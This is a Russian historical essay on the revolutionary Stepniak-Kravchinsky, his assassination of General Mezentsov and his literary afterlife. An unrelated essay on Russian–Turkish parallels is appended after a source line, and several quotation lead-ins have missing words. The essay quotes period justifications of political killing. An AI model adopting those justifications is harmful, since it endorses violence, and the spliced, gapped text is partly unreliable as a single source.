На Большом процессе блистал красноречием Ипполит Мышкин, которого судили за попытку освобождения Чернышевского из Вилюйского острога. "Это не суд, – восклицал он, – а просто комедия или нечто худшее, более отвратительное, позорное... чем дом терпимости, там женщина из-за нужды торгует своим телом, а здесь сенаторы из подлости, из холопства, из-за чинов и крупных окладов торгуют всем, что есть наиболее дорогого для человека".
На словах "опричники царя" обезумевший жандармский офицер бросился зажимать Мышкину рот и поцарапал его; на лице Мышкина показалась кровь, зал грозно загудел, подсудимые громко протестовали...
Кравчинский тоже был арестован. Ему удалось бежать из-под стражи. Он перешел на нелегальное положение и в конце 1874 года выехал по подложному паспорту в Европу. За границей он свел знакомство с идеологами русского революционного движения – Ткачевым, Лавровым, Бакуниным. Его деятельная натура не терпела кабинетного существования. В то время было много молодых романтиков, ищущих, в какой бы революции поучаствовать. Кравчинский нашел.
Летом 1875 года он принял участие в подготовке восстания против турецкого владычества в Герцеговине. Однако эти планы стали известны турецким властям. Зачинщики бежали. Кравчинский вернулся в Россию, организовал ряд удачных побегов политзаключенных из тюрем. Не видя перспектив революции на родине, он снова уехал из страны.
В 1877 году в группе итальянских последователей Бакунина Кравчинский участвовал в неудачном восстании в провинции Бенвенуто. Они захватили власть в двух деревнях, сожгли налоговые книги и раздали крестьянам оружие. Но против правительственных войск крестьяне воевать не стали. Организаторы включая Кравчинского были арестованы, более года провели за решеткой, но суда так и не дождались: по случаю кончины короля Виктора Эммануила II им была объявлена амнистия.
Кравчинский снова вернулся в Россию и вступил в тайную организацию "Земля и воля".
Кого-то ждут... Гремит звонок. Неспешно отворяя двери, Гость новый входит на порог: В своих движениях уверен И статен; мужественный вид; Одет совсем как иностранец, Изысканно; в руке блестит Высокого цилиндра глянец; Наполеоновской бородкой Рот беспокойный обрамлен; Большеголовый, темновласый - Красавец вместе и урод: Тревожный передернут рот Меланхолической гримасой. Это портрет Кравчинского из поэмы Блока "Возмездие". А таким Кравчинского Лев Тихомиров:
Его прозвали мавром, и он действительно имел в физиономии нечто мавританское или турецкое, при совершенно белом цвете кожи, но темный брюнет. Волосы и маленькая борода его курчавились. Черты лица мелкие, превосходный цвет лица. Все телосложение истинно богатырское: крепкая кость, великолепная мускулатура и крупный рост при широких плечах. В общем, он был несомненный красавец, и женщины легко им увлекались, как, впрочем, и он ими. В натуре у него было много художественности и авантюризма. В тот последний приезд в Россию Кравчинский совершил главный поступок своей жизни.
В "Земле и воле" назревал раскол – "револьверщики" против "деревенщиков". Сторонники террора начали готовить покушение на петербургского градоначальника Трепова, приказавшего в нарушение закона высечь осужденного на 15 лет каторги Алексея Боголюбова. Приближался к развязке процесс 193-х. Прокурору Желеховскому, которого Анатолий Кони назвал "воплощенной желчью", не удалось доказать наличие единой революционной организации. Кони (в то время председатель Санкт-Петербургского окружного суда) :
Обвинительная речь Желеховского, длинная и бесцветная, поразила всех совершенно бестактною неожиданностью. Так как почти против ста подсудимых не оказывалось никаких прочных улик, то этот судебный наездник вдруг в своей речи объявил, что отказывается от их обвинения, так как они были-де привлечены лишь для составления фона в картине обвинения остальных. За право быть этим «фоном» они, однако, заплатили годами заключения и разбитой житейской дорогой! Суд Особого присутствия Правительствующего Сената под председательством сенатора Ренненкампфа оказался в затруднительном положении. В конце концов было решено приговоры вынести суровые, но ходатайствовать перед государем о смягчении участи осужденных. Большинство подсудимых было оправдано, других предлагалось освободить с учетом предварительного заключения. Еще до утверждения приговора императором подсудимых, даже приговоренных к каторге, стали выпускать под залог или поручительство.
Приговор был вынесен в январе, а в феврале грянул выстрел Веры Засулич в Трепова. Вера не была членом организации. Она .
Кравчинский впоследствии:
Засулич вовсе не была террористкой. Она была ангелом мести, жертвой, которая добровольно отдавала себя на заклание, чтобы смыть с партии позорное пятно смертельной обиды... И, однако, событие 24 января имело огромное значение в развитии терроризма. Оно озарило его своим ореолом самопожертвования и дало ему санкцию общественного признания. Выстрел Засулич и в особенности ее оправдание судом присяжных (это произошло в апреле) резко изменили настроения правящих кругов. Царь отказался смягчить наказание осужденным на Большом процессе. 80 оправданных он повелел отправить в административную ссылку.
Кравчинский по поручению организации написал прокламацию, заканчивающуюся словами: "Все эти жестокости требуют ответа. Он будет дан. Ждите нас!"
Объясняя иностранному читателю причины, породившие русский терроризм, Кравчинский :
Но как избавиться от этой банды, укрывшейся за лесом штыков? Как освободить от нее родину? Нечего было и думать о взятии приступом твердыни царизма, как то делалось в других, более счастливых, странах. Нужно было обойти врага с тылу, схватиться с ним лицом к лицу позади его неприступных позиций, где не помогли бы ему все его легионы. Так возник терроризм. Родившись из ненависти, вскормленный любовью к родине и уверенностью в близкой победе, он вырос и окреп в электрической атмосфере энтузиазма, вызванного геройским поступком. Он задумал убить министра юстиции Палена, но никак не мог решиться, а вскоре Пален вышел в отставку – в наказание за оправдание Засулич. Новой мишенью стал начальник Третьего отделения и командир Отдельного корпуса жандармов генерал-лейтенант Мезенцов. По сведениям подпольщиков, именно по его докладу Александр принял решение отклонить ходатайство Особого присутствия.
Николай Морозов, осужденный по делу 193-х и освобожденный с учетом предварительного заключения, :
Кравчинский, сидя перед окном, показывал Михайлову (сообщник Кравчинского. – В. А.) четырехгранный стилет, очевидно, специально сделанный для него каким-нибудь сочувствующим оружейником. – Это для кого? – спросил я его. – Для начальника Третьего отделения Мезенцова, – ответил он, и темные глаза его вспыхнули моментальным огнем. План покушения несколько раз менялся. Адриан Михайлов , что вначале замышлялся поединок:
Кравчинский... долго и упорно отстаивал свой план – он вызовет Мезенцева на дуэль, предоставив ему выбор оружия. Выдвинул он этот план совершенно серьезно. Отстаивал горячо и настойчиво, встреча должна быть грудь с грудью. А Тихомиров пишет:
Кравчинский сначала мечтал отрубить ему голову и даже заказал для этого особую саблю по своему вкусу, очень короткую и толстую. В конце концов остановились на стилете. Однако Морозов сомневался, что Кравчинский в состоянии зарезать человека.
..."Ему будет страшно трудно в решительную минуту, – думал я, – и он пройдет мимо своего врага не в силах нанести ему смертоносного удара, как это и было с Паленом, которого, как я уже знал, он не раз встречал в мое отсутствие, но не был в состоянии сделать ему вреда". Морозов оказался прав. Кравчинский дважды выходил навстречу Мезенцову и оба раза проходил мимо. Ему помогло мобилизоваться полученное 3 августа известие о казни в Одессе Ивана Ковальского – руководителя кружка, который ничего, кроме печати прокламаций, сделать не успел, однако при аресте по доносу хозяина квартиры Ковальский оказал отчаянное вооруженное сопротивление полиции.
Кравчинский решился. На следующее утро он исполнил задуманное.
Адриан Михайлов:
4 августа 1878 г. в 7½ часов я в татерсале (манеж близ Мариинского дворца. – В. А.). Запрягаю Варвара. Одеваюсь в кучерское. Выезжаю. Ровно в 8 часов я на Михайловской площади. Проезжаю мимо Михайловского сквера, вижу там Сергея и Семена. Сидят на разных скамейках. Сергей читает газету. Газета сложена вдвое. В ее складке, знаю, итальянский стилет, сделанный по специальному заказу – "для охоты на медведей", было объяснено мастеру. Становлюсь у кондитерской Кочкурова, вдоль Итальянской лицом к углу Садовой, но так, что у меня на виду панель Михайловской площади. Через четверть часа сквером, затем мимо меня начинают проходить один за другим наши сигнальщики, наконец идет Бердников. Знак – Мезенцев повернул с Невского на Михайловскую улицу... :
Едва генерал вступил на мостовую Итальянской улицы и поровнялся с домом Кочкурова, перед самыми окнами кондитерской приблизилось к нему двое шедших навстречу людей, весьма прилично одетых. Один из них нанес генералу Мезенцову рану кинжалом и вместе с своим спутником поспешно сел в находившийся тут же экипаж. Г. Макаров сделал попытку задержать покушавшихся на жизнь генерала Мезенцова людей, но в него был сделан выстрел из револьвера; пуля пролетела мимо, а виновники катастрофы, никем не задерживаемые, так как в этом месте не было ни одного полицейского стража, а равно отсутствовала и публика, успели скрыться. Несомненно только, что и собственный экипаж, и хорошая лошадь, и серебряная упряжь на ней свидетельствовали, что владельцы экипажа люди со средствами. На одном из них только усмотрено серое пальто. Этой хорошей лошадью был вороной рысак Варвар, «соучастник» побега из тюрьмы вождя анархистов князя Кропоткина, купленный революционерами у коннозаводчика барона Фитингофа специально для этой цели – конь необыкновенно резвый, но норовистый. В спутника Мезенцова отставного подполковника Макарова стрелял Александр Баранников ("Семен").
Адриан Михайлов:
Перепуганный выстрелом, Варвар бросается каким-то нелепым галопом прыжками. Семену не сразу удается вскочить в пролетку… Быстро справляюсь с Варваром. Он своей обычной прекрасной рысью мчит нас к углу Садовой. За нами уже раздаются крики: "Держи! Лови!" За пролеткой уже бегут люди. Поворачиваю на Садовую. Обе стороны этого ее отрезка между Итальянской и Невским заполнены возами с дровами. На полной рыси Варвара маневрирую между ними. На углу Садовой и Невского стоит городовой и мирно беседует с кем-то,—грохот дровяных возов не доносит до него криков позади нас. Быстро пересекаем Невский. Выезжаем к памятнику Екатерины. Проезжаем между ним и Публичной библиотекой. Огибаем справа Александрийский театр и направляем Варвара к Апраксину двору с этой его стороны. Здесь в обычной апраксинской толчее Сергей и Семен сходят с пролетки. Поиски убийц никаких результатов не дали. Министр государственных имуществ граф Валуев доносил Александру II: "Все толкуют о бессилии и неумении правительства". Совет министров на совещании 1 декабря 1878 года кисло констатировал: "Все принимаемые меры оказались бессильными против козней агитаторов, искусно завладевших... легковерной молодежью".
Впрочем, Варвара . Владельцем его значился дворянин Тюриков – под этим именем в Петербурге жил Баранников. Хозяин конюшни показал, что друг господина Тюрикова господин Поплавский (Михайлов) почти ежедневно запрягал Варвара и уезжал кататься - "для моциону, а также желая научиться править строгой лошадью, чтобы у себя в усадьбе иметь удовольствие ездить без кучера". Там же обнаружились и дрожки на лежачих рессорах, и кучерское платье.
Это произошло в октябре, когда Адриан Михайлов уже содержался под стражей. Его арестовала засада на конспиративной квартире. В руки жандармов он угодил по собственной беспечности – не заметил, что в окне отсутствует сигнал безопасности.
Кравчинский мотивы убийства Мезенцова в прокламации "Смерть за смерть":
Убийство – вещь ужасная. Только в минуту сильнейшего аффекта, доходящего до потери самосознания, человек, не будучи извергом и выродком человечества, может лишить жизни себе подобного. Русское же правительство нас, социалистов, нас, посвятивших себя делу освобождения страждущих, нас, обрекших себя на всякие страдания, чтобы избавить от них других, русское правительство довело до того, что мы решаемся на целый ряд убийств, возводим их в систему. Еще несколько месяцев он оставался в России. У него случился роман с одной из трех курсисток, квартиру которых революционеры использовали для встреч. Николаю Морозову, которого восторженные юные революционерки встречали после освобождения по делу 193-х, она : "Эта игривая и умненькая курсистка называлась Фанни Личкус". Попали эти самые курсистки и в роман Юрия Трифонова "Нетерпение":
Одна проговорилась, будто знает студента, который дружен с кем-то, кто хорошо был знаком с кучером черного рысака, унесшего убийцу Мезенцева. Другая рассказывала про таинственную газету под названием "Земля и воля", которая вышла недавно первым номером. Фанни Личкус происходила из купеческой семьи и училась на медицинских женских курсах. В ноябре 1878 года Кравчинский в ореоле сурового мстителя возвращается в Швейцарию. Фанни едет вслед за ним.
Отныне его оружием становится перо. Он , как мы сказали бы сегодня, имиджмейкером "Народной воли" на Западе:
Нужно наконец помирить Европу с кровавыми мерами русских революционеров, показать, с одной стороны, их неизбежность при русских условиях, с другой – выставить самих террористов такими, каковы они в действительности, т. е. не каннибалами, а людьми гуманными, высоконравственными, питающими глубокое отвращение ко всякому насилию, на которое только правительственные меры их вынуждают. Так он сформулировал свою задачу. И задачу эту выполнил.
После убийства Александра II 1 марта 1881 года у него ненадолго вспыхнула надежда на скорые перемены.
Я еду, еду, туда, где бой, где жертвы, может быть, смерть! Боже, если б ты знала, как я рад, – нет, не рад, а счастлив, счастлив, как не думал, что доведется еще быть! Довольно прозябания! Жизнь, полная трудов, быть может, подвигов и жертв, снова открывается предо мной, как лучезарная заря на сером ночном небе, когда я уже снова начинал слабеть в вере и думал, что еще, может быть, долгие месяцы мне придется томиться и изнывать в этом убийственном бездействии!.. Это он писал Фанни, собираясь в Россию. Буквы письма прыгают от волнения.
Но энтузиазм быстро угас. Никакая лучезарная заря над Россией не воссияла. "Народная воля", лишившись почти всех руководителей, агонизировала. Оставшиеся на свободе пытались сохранить хоть какое-то подобие организации. Неопытные новобранцы не умели соблюдать конспирацию, не было денег.
Вера Фигнер – единственный член исполкома, не арестованный и не уехавший за границу – :
На душе было тяжело... Людей мало, да и те пропадают по неизвестным причинам бесплодно па первых же шагах своих. Под ногами чувствовалась зыбкая почва, неуловимое предательство или провокация, при которых терялась всякая уверенность, что строится что-то прочное. Кругом были только тонущие, барахтающиеся в революционном хаосе люди, потерявшие положение, связи, бесприютные и безрадостные... Наружно надо было сохранять спокойный, бодрый вид, и я бодрилась, а в тишине ночной думала с тоской: будет ли "конец"? "мой конец"? Лев Тихомиров:
Затем наступил, конечно, поголовный арест деятелей, и вся эта дрянь, навербованная Фигнер, перетрусила, начала выдавать друг друга. Наконец, с помощью провокатора Сергея Дегаева была арестована и сама Фигнер.
Царское правительство стало настойчиво добиваться от швейцарских властей выдачи убийцы Мезенцова. Пришлось перебраться в Италию. Добросовестный, но несколько восторженный биограф Кравчинского Евгения Таратута утверждает, что за неимением средств он проделал путь пешком.
По рекомендации итальянских друзей Кравчинского издатель миланской газеты заказал ему серию очерков о русском революционном движении. Так была создана книга "Подпольная Россия", изданная чуть ли не на всех языках Европы под псевдонимом "Степняк" и имевшая оглушительный успех. Она впервые в таком объеме и таких подробностях, изнутри организации, открыла Западу глаза на "русских нигилистов". В глазах цивилизованного мира они теперь были не опасными смутьянами, а самоотверженными героями, борцами с чудовищным деспотизмом самодержавия.
Когда Петербург начал требовать экстрадиции Кравчинского теперь уже от Италии, он переехал в Лондон. Его популярность росла. Он познакомился с Бернардом Шоу, Оскаром Уайльдом, Энгельсом и дочерью Маркса Элеонорой. Одна за другой выходят его публицистические книги и, наконец, в 1888 – роман "Андрей Кожухов", по-английски озаглавленный "Поприще нигилиста".
В предисловии ко второму английскому изданию Степняк-Кравчинский :
Будучи свидетелем и участником движения, поразившего даже врагов своею безграничною способностью к самопожертвованию, я желал представить в романическом освещении сердечную и душевную сущность этих восторженных друзей человечества, у которых преданность своему делу достигла степени высокого религиозного экстаза, не будучи сама по себе религией. Ему, пожалуй, удалось очеловечить своих героев, хотя тон их диалогов часто страдает выспренней театральностью. В том же предисловии, однако же, он говорит:
Но я настолько же был далек от превознесения терроризма, как и от его порицания. Уже одна эта фраза свидетельствует о переоценке ценностей. И поневоле задумываешься: уж не специальный ли литературный прием этот мелодраматизм, напоминающий ходульную пьесу, не злой ли сарказм безнадежного пессимиста? Вот диалог Андрея Кожухова, собирающегося стрелять в царя, с любимой женщиной:
– Подожди минутку… Андрей, дорогой! – вскричала она, схватив его за руку, как будто он собирался тотчас же ее покинуть. – Одну минуту. Мне нужно тебе сказать что-то… что-то очень важное. Только я забыла, что именно. Все это так мучительно, что у меня голова пошла кругом… Дай мне подумать… Крестьянство, верующее в царя… нет, не то!.. Та часть общества, которая остается теперь нейтральной… Не то, опять не то! Вдруг она задрожала всем телом, и самые губы ее побледнели. Она нашла свой великий аргумент, который был ей оплотом, и увидела, как он был слаб и в то же время как ужасен! – Что будет со мною, когда они убьют тебя! – вырвалось у нее, и, закрыв глаза рукою, она откинула голову назад. – Бедное дитя мое, моя голубка! – воскликнул Андрей, сжимая ее в своих объятиях. – Я знаю, как тяжел твой крест, я знаю, что остающимся в живых хуже приходится, чем тем, которые идут на гибель. Но, поверь, и мне не легко. Жизнь мне дорога, особенно с того дня, как ты меня полюбила. Горько бросать ее, расставаться с тобою и идти на казнь, между тем как я мог бы быть так счастлив! Я дорого бы дал, чтобы чаша сия миновала нас. Но она не минует. Удар должен быть нанесен. Отказаться от нападения из-за любви к тебе? Да я чувствовал бы себя трусом, лжецом, изменником нашему делу, нашей родине. Лучше утопиться в первой попавшейся грязной луже, чем жить с таким укором совести. Как мог бы я это вынести и что сталось бы с нашей любовью? Прости, дорогая, за боль, которую я причиняю тебе. Но подумай только, что значат все наши страдания, если нам удастся хоть на один день ускорить конец всем ужасам, окружающим нас? Или это мы, современные читатели, испорченные постмодернизмом, уже не в состоянии ощутить мрачную искренность этих строк?
На убийство царя Андрей идет в состоянии полной опустошенности. Его ведет, по меткому выражению автора, "эгоизм самопожертвования", когда ничто, даже судьба любимой, его уже не волнует. В глубине души он знает, что жертва будет напрасна. Он инстинктивно замедляет шаг и приходит на место покушения в полной уверенности, что опоздал. Но судьба со своей глумливой иронией неотвратима: царь по случаю хорошей погоды решил погулять подольше.
Герой романа стреляет, но ни одна из шести револьверных пуль, как это ни невероятно, не попадает в цель. Андрей погибает, так и не совершив свой подвиг.
Кравчинский успел сделать еще многое, но после разгрома "Народной воли" уже не помышлял о личном участии в революционной борьбе. Его усилиями в Англии в 1890 году было учреждено Общество друзей русской свободы. Помимо книг самого Кравчинского, огромное впечатление на либеральную публику произвели статьи и лекции американского исследователя Джорджа Кеннана о сибирской каторге и ссылке. Общество выпускало англоязычный бюллетень "Свободная Россия" под редакцией Кравчинского.
В 1891 году он отправился за океан для организации американского отделения Общества. Приехал в Хартфорд, где жил Марк Твен, встретился с ним, подарил ему "Подпольную Россию". Марк Твен очень сочувствовал руской революции и был человеком впечатлительным. Он согласился войти в число учредителей американского Общества, но публиковаться в "Свободной России" вежливо, но решительно отказался. И , почему:
Когда... понимаешь, что только в аду можно найти подобие правительству вашего царя, а на земле ему подобия нет, то с особым вниманием и надеждой обращаешься к вашему изложению целей тех партий, которые борются за свободу, – и испытываешь глубокое разочарование. Создается впечатленне, что ни одна из них не желает окончательно лишиться современного ада, - всех их вполне удовлетворит некоторое понижение температуры. ...Разумеется, я знаю, что опрокинуть русский трон лучше всего было бы революцией. Но устроить там революцию невозможно, и, пожалуй, остается только сохранять трон вакантным с помощью динамита до того дня, когда ближайшие кандидаты предпочтут с благодарностью отклонить эту честь. Тогда организуйте республику. Далее Марк Твен, изменяя присущей ему иронии, вдруг начинает говорить языком Андрея Кожухова:
Если бы ваша жена, или ваш сын, или ваш отец были бы сосланы в сибирские рудники за неосторожные слова, вырвавшиеся из глубины души, измученной невыносимой тиранией царя, а вам представился бы случай убить тирана и вы не воспользовались бы им, то не кажется ли, что вы ненавидели бы и стыдились бы себя до конца своей жизни? (Перевод И. Гуровой и Р. Облонской)
Впоследствии, прочитав книгу Степняка, он о ней:
Я прочитал "Подпольную Россию" от начала до конца с глубоким, жгучим интересом. Какое величие души! И думаю, только жестокий русский деспотизм мог породить таких людей! По доброй воле пойти на жизнь, полную мучений, и в конце концов на смерть только ради блага других – такого мученичества, я думаю, не знала ни одна страна, кроме России. Но эти комплименты не столько ему, сколько движению не могли смягчить жестокий удар, нанесенный самолюбию Степняка. Его собственные слова вернулись к нему в виде суровой инвективы!
Между тем "русские нигилисты" стали модным брендом европейской массовой культуры. Не прошел мимо него и Артур Конан Дойль, обычно нечувствительный к общественным настроениям. В рассказе "Скандал в Богемии" говорится, что Холмс по приглашению русского правительства расследовал в Одессе убийство генерала Трепова. Ватсон, правда, немного запутался в датах (Вера Засулич стреляла в Трепова в январе 1878 года, а Холмс ездил в Россию, судя по тексту рассказа, 10 годами позже) и в фактах (Трепов остался в живых), да и непонятно, зачем Холмса пригласили в Одессу, коль скоро покушение было совершено в Петербурге.
О деле Засулич много писали европейские и американские газеты, откомандировавшие на процесс своих лучших корреспондентов. Конан Дойль наверняка читал эти репортажи, и фамилия "Трепов", по-видимому, отложилась в его памяти-чердаке, а потом смешалась с покушением на жандармского офицера барона Гейкинга, убитого народовольцем Григорием Попко в мае того же 1878 года в Одессе.
В рассказе "Пенсне в золотой оправе" знаменитый сыщик сталкивается с русскими народовольцами лицом к лицу. Перед Холмсом встает моральная дилемма: должен ли он предать в руки полиции русскую даму, которая призналась ему в случайном убийстве, совершенном из благородных побуждений – дабы спасти своего любимого и соратника по борьбе?
Британское правительство не считало русских революционеров преступниками и отвечало неизменным отказом на требования царских властей об их выдаче. Холмс явно симпатизирует бедной женщине, из любви и чувства справедливости решившейся на отчаянный поступок. Но в данном случае преступление совершено на территории Соединенного Королевства.
Автор избавляет своего героя от мучительного выбора.
Она вынула из-за лифа небольшой пакет. – Выслушайте мои последние слова. Этот пакет спасет Алексея, я доверяю его вашей чести и вашей любви к справедливости. Возьмите его. Отнесите в русское посольство. Я исполнила свой долг и... – Остановите ее! – воскликнул Холмс. Он бросился к ней и вырвал из ее рук маленькую склянку. – Поздно, – сказала она, повалившись на кровать. – Я приняла яд перед тем, как выйти из убежища. Голова кружится. Я умираю. Прошу вас, сэр, не забудьте пакета. (Перевод Н. Санникова) Наконец, и сам Степняк будто бы стал прототипом героев двух романов. Принято считать, что именно его изобразила в своем "Оводе" Этель Лилиан Войнич, якобы безответно влюбленная в него. С этой версией спорить трудно, потому что она ровно ни на чем, кроме их личного знакомства, не основана. Утверждают также, что Степняк-Кравчинский выведен в романе Эмиля Золя "Жерминаль". Это вопрос куда более интересный.
Золя, насколько известно, не был лично знаком со Степняком, но "Подпольную Россию" читал. О существовании книги и ее автора он узнал от Альфонса Додэ, который пересказывал ее в парижском литературном салоне и был от нее в восторге. Золя с его острым интересом к новейшим социально-политическим явлениям не мог не увлечься этой темой. Он начал писать роман о русском нигилисте и, по его собственному признанию, «кое-чем позаимствовался» из "Подпольной России". Впоследствии замысел изменился. В романе "Жерминаль" появился русский анархист Суварин, анахорнет и мизантроп, со стороны наблюдающий за неравной борьбой шахтеров с администрацией угольной компании. Суварин считает безнадежной тактику забастовок, к которой рабочих поощряет один из вождей марксистского Интернационала.
– Глупости! – повторил Суварин. – Ваш Карл Маркс, по-видимому, хочет все предоставить естественным силам. Никакой тайной политики, никаких заговоров, не правда ли? Все при ярком свете дня и исключительно ради повышения заработной платы... Да подите вы с вашей эволюцией! Спалите города в пламени пожаров, скосите целые народы, уничтожьте все, – и когда уже ничего не останется от этого прогнившего мира, быть может, возникнет новый, лучший мир. Когда шахтеры, задавленные отчаянной нуждой, прекращают забастовку и покорно возвращаются к работе на худших, чем прежде, условиях, Суварин устраивает аварию на шахте, в которой гибнут эти, с его точки зрения, презренные штрейкбрехеры. Он бесстрастно наблюдает за катастрофой с гребня террикона, а затем уходит в неизвестность.
Отбросив последнюю папиросу, разрушитель пустился в путь и, не оборачиваясь, зашагал в сгустившемся сумраке. Некоторое время он еще виднелся вдалеке, силуэт его становился все меньше, потом слился с черной тьмой. Он и шел в эту тьму, в неведомое. Спокойный, бесстрастный, он шел истреблять, – повсюду, где найдется динамит, взрывать города и людей. Когда в свой последний час буржуазия услышит, как при каждом ее шаге с грохотом взлетают на воздух булыжники мостовой, – вероятно, это будет дело его рук. (Перевод Н. Немчиновой)
Если это и портрет Степняка, то зловещий. Золя с его социальным чутьем впечатляюще выразил бесперспективность и вредоносность террора – под ногами пролетариев, которых Суварин обрекает на бессмысленную смерть, в буквальном смысле разверзается бездна.
Жизнь Степняка-Кравчинского оборвалась неожиданно – по крайней мере для окружавших его людей.
23 декабря 1895 года в 11-м часу утра он вышел из своего дома в лондонском предместье Бедфорд-парк. Он направлялся на встречу, назначенную в доме его друга и соратника Феликса Волховского, который бежал из сибирской ссылки и добрался до Англии через Японию и США. Хотьбы от одного дома до другого было всего несколько минут, однако требовалось пересечь железнодорожное полотно. Этой пригородной ветки уже давно не существует. Через рельсы был проложен пешеходный переход со ступеньками.
Историк и публицист Владимир Бурцев, живший тогда в Лондоне, случившееся лаконично:
Степняк вышел из своего дома и пошел к Волховскому через пустырь. Когда, по обыкновению задумавшись, он переходил через полотно железной дороги, на него наскочил поезд, и он был убит на месте. Более подробную информацию можно найти в номере Times от 24 декабря. В заметке сказано, что машинист пассажирского поезда, увидев человека на путях, отчаянно свистел, но пешеход "то ли не слышал сигнал, то ли не обращал на него внимания". Тогда машинист стал тормозить, но все-таки сбил пешехода. Локомотив протащил тело несколько ярдов прежде чем остановился. Труп оказался сильно изуродован. Поезд шел со скоростью 28 миль в час.
По факту смерти Степняка было назначено расследование. Королевский коронер признал смерть несчастным случаем. Степняка кремировали в Уокинге, графство Суррей – там же, где в августе того же года сожгли останки Энгельса.
Не слышал сигнала или не обращал внимания на него? Версия самоубийства не рассматривалась.
Владимир Бурцев вспоминает об атмосфере и настроениях в эмигрантских кругах того времени:
Конец царствования Александра III был трудными годами для всех нас, русских, и в России и заграницей. Реакция придавила всех. Не было ни активной революционной борьбы, ни каких-нибудь серьезных общественных выступлений. Наступило время маленьких дел... В России на нас смотрели, как на Дон-Кихотов, кто из упрямства не отказывается от старых взглядов и все еще говорит о революционной борьбе, невозможной – одни говорили на пятьдесят лет, другие – на двести лет. Ему было всего 44 года, но главные события его жизни остались в прошлом.
В одном из российских архивов сохранилось советского дипломата Ивана Майского секретарю Центральной контрольной комиссии ВКП(б) Емельяну Ярославскому от 1 февраля 1931 года:
Уважаемый товарищ, Если припомните, весной 1929 года я говорил с Вами об оказании материальной помощи в виде ежемесячного пособия вдове Степняка-Кравчинского, уже много десятилетий проживающей в Лондоне. Мне было очень приятно узнать, что с осени 1929 г. Фанни Марковна Степняк стала получать ежемесячное пособие в размере, если не ошибаюсь, 15 фун[тов]. Однако сейчас я получил извещение, что вот уже в течение 2 мес[яцев] выплата пособия прекращена. По-видимому, это находится в связи с нашими валютными затруднениями последнего времени. Я очень просил бы Вас все-таки обратить внимание на данный факт и, если к тому имеется хотя бы какая-нибудь возможность, принять меры к возобновлению выплаты пособия Ф.М. Степняк, которая к тому же в последнее время сильно хворала и сейчас находится в состоянии полной нищеты. Фанни Степняк пережила своего мужа на 50 лет. Она умерла в Лондоне в 1945 году.
Источник:
РОССИЯ И ТУРЦИЯ: СТРАННЫЕ СБЛИЖЕНИЯ Две державы с середины прошлого тысячелетия шли параллельными курсами, наступая на одни и те же грабли. Казалось бы, нет двух более различающихся между собой стран в Европе, чем Россия и Турция. Наша православная держава столетиями была оплотом христианства на Востоке, тогда как Османская империя – авангардом ислама на Западе. Недаром мы с турками постоянно двигались от одной войны к другой. И нынешний конфликт с этой точки зрения выглядит, вроде бы, закономерным. Но если перейти от общих мест к конкретным фактам, выясняется удивительная вещь. Россия и Турция с середины прошлого тысячелетия шли параллельными курсами, наступая на одни и те же грабли. Цари и султаны делали одинаковые шаги, а затем получали рукояткой граблей по лбу так, что звуки ударов сливались воедино, разносясь по всей Европе и поражая западные народы.
Началось все в XV веке. Обе страны тогда быстро расширялись, подчиняя себе все новые территории. Иван III использовал их для формирования поместного войска, построенного по принципу службы за землю. Помещик получает участок, чтобы кормиться, а за это должен являться на войну с боевым холопом. «Утром земли – вечером служба». На Западе же армия строилась прямо противоположным образом: по наемному принципу. «Утром сражение – вечером деньги». То есть пока кровью своей платы не заработаешь, ничего не получишь. Никакой халявы.
Откуда Иван Васильевич взял свою модель? Есть мнение, что от турок. Их тимар напоминал наше поместье (или систему кормления), и воины-тимариоты должны были служить за право кормиться с отданных им территорий. А янычары, кстати, напоминали наших стрельцов - они были постоянными воинскими частями.
Сформировав большие армии, русские и турки двинулись на Запад, но были одновременно приостановлены различными европейскими коалициями. Первое катастрофическое поражение османы понесли в морской битве при Лепанто (1571 год) от союзного испано-венецианского флота, поддержанного Папой. Иван Грозный в успешно начатой Ливонской войне вдруг потерпел поражение под Полоцком (1579 год) от польско-литовского короля Стефана Батория, у которого в армии были еще и немцы с венграми. Тут же на Грозного заодно шведы с севера навалились.
Тем не менее, двум великим державам удалось сформировать огромные империи и взять под контроль почти всю Восточную Европу. Под турками в свое время находились греки, болгары, сербы, албанцы, македонцы, боснийцы. Под русскими – эстонцы, литовцы, латыши, финны, поляки, украинцы. Державы казались прочными, но продвижение на Запад дальше определенного рубежа для них было заблокировано. Отсюда и происходят наши интенсивные разборки с турками. Мы били тех, кого могли, и землями прирастали там, где было возможно.
Почти одновременно Российская и Османская империи испытали первые признаки пробуждения ущемленных народов. В 1820-х разразилась греческая революция, которая к 1832 году увенчалась формированием греческого государства. А в 1830 году поляки восстали против России, однако успеха в своей борьбе не добились.
Впрочем, чувство непрочности имперских владений вскоре пришлось испытать и России. Европейцы разбили нас в Крымской войне. Весьма характерно, что до этого Европа вместе с Россией поддерживала греков против турок, но стоило султану ослабнуть, а царю усилиться, как задача сохранения баланса сил вынудила Запад взяться уже за нового противника. В общем, стратегия сдерживания обеих восточных держав была примерно одинаковой.
Похожей была и реакция империй на понесенные поражения. Как турки, так и русские задумались о серьезных реформах.
Первыми их начали турки (как самые неудачливые), хотя султан Махмуд любил сравнивать себя с Петром I, ориентируясь в известной мере на российские преобразования, осуществленные еще в XVIII веке. Он подавил янычарские бунты (как Петр стрелецкие), выступил против ношения бород и выстроил правительство как систему министерств (чем походил уже, скорее, на Александра I). Главные же реформы начались после смерти Махмуда при его сыне Абдул-Меджиде. Преобразования напоминали французские реформы Наполеона I. Они укрепляли частную собственность и создавали эффективную систему налогообложения. Торговый кодекс был полностью скопирован с наполеоновского.
Великие реформы Александра II больше ориентировались не на французский опыт, а на немецкий, поскольку для России, как и для Пруссии с Австро-Венгрией, главным "тормозом" являлось крепостное право. Александр в своих преобразованиях был удачливее Абдул-Меджида, а потому в 1870-х смог одержать над турками очередную победу. Россия вошла в число великих держав, тогда как Турция превратилась в «больного человека» Европы (как выразился еще Николай I).
Казалось бы, пути двух стран разошлись, тем более что во всемирном противостоянии начала XX века Россия сделала ставку на Антанту, а Турция – на Германию. Но не тут-то было. Итоги войны оказались печальными для обеих держав: они развалились. Правда, Османская империя распалась вследствие военного поражения, а Российская – в результате революции СССР на 70 лет сумел дальнейший распад притормозить, но к концу XX века мы с турками вновь оказались в близком по сути положении.
Более того, способность дольше просуществовать в качестве великой державы обернулась для России проблемой в XXI веке. Турция сегодня имеет относительно эффективную рыночную экономику, а мы надуваем щеки лишь тогда, когда рот полон нефти. Турцию в свое время приняли в НАТО, чтобы Запад имел на юге союзника против СССР, тогда как плохо скрываемое желание Путина оказаться членом Североатлантического альянса ныне разбивается о холодность «северян».
